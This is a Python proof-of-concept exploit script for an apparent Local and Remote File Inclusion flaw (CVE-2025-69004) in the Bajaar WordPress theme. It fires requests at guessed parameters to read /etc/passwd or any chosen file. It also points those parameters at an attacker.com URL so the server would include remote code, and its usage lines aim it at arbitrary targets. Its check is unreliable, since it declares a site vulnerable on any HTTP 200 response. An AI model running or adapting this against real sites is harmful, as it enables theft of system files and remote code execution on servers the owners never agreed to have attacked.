# CVE-2025-69004 PoC - Bajaar Theme LFI/RFI
# Target: WordPress site using Bajaar theme <= 2.1.0
import requests
import argparse
from urllib.parse import quote
def test_lfi(target_url, file_path='/etc/passwd'):
"""Test Local File Inclusion vulnerability"""
# Common vulnerable parameter patterns
params = {
'theme': file_path,
'file': file_path,
'page': file_path,
'template': file_path
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
print(f"[*] Testing LFI on: {target_url}")
print(f"[*] Target file: {file_path}")
for param, value in params.items():
try:
response = requests.get(
target_url,
params={param: value},
headers=headers,
timeout=10,
verify=False
)
if 'root:' in response.text or response.status_code == 200:
print(f"[+] Vulnerable! Parameter '{param}' accepts file inclusion")
print(f"[+] Response preview:\n{response.text[:500]}")
return True
except Exception as e:
print(f"[-] Error testing {param}: {e}")
return False
def test_rfi(target_url, attacker_server='http://attacker.com/malicious.txt'):
"""Test Remote File Inclusion vulnerability"""
params = {
'theme': attacker_server,
'file': attacker_server,
'page': attacker_server,
'template': attacker_server
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
print(f"\n[*] Testing RFI on: {target_url}")
print(f"[*] Attacker server: {attacker_server}")
for param, value in params.items():
try:
response = requests.get(
target_url,
params={param: value},
headers=headers,
timeout=10,
verify=False
)
if response.status_code == 200:
print(f"[+] Potentially vulnerable to RFI via parameter '{param}'")
except Exception as e:
print(f"[-] Error testing {param}: {e}")
def main():
parser = argparse.ArgumentParser(description='CVE-2025-69004 PoC')
parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
parser.add_argument('-f', '--file', default='/etc/passwd', help='File to read (LFI)')
parser.add_argument('--rfi', action='store_true', help='Test RFI')
args = parser.parse_args()
# Test LFI
test_lfi(args.url, args.file)
# Test RFI if requested
if args.rfi:
test_rfi(args.url)
if __name__ == '__main__':
main()
# Usage:
# python cve-2025-69004.py -u http://target.com/wp-content/themes/bajaar/
# python cve-2025-69004.py -u http://target.com -f /etc/passwd
# python cve-2025-69004.py -u http://target.com --rfi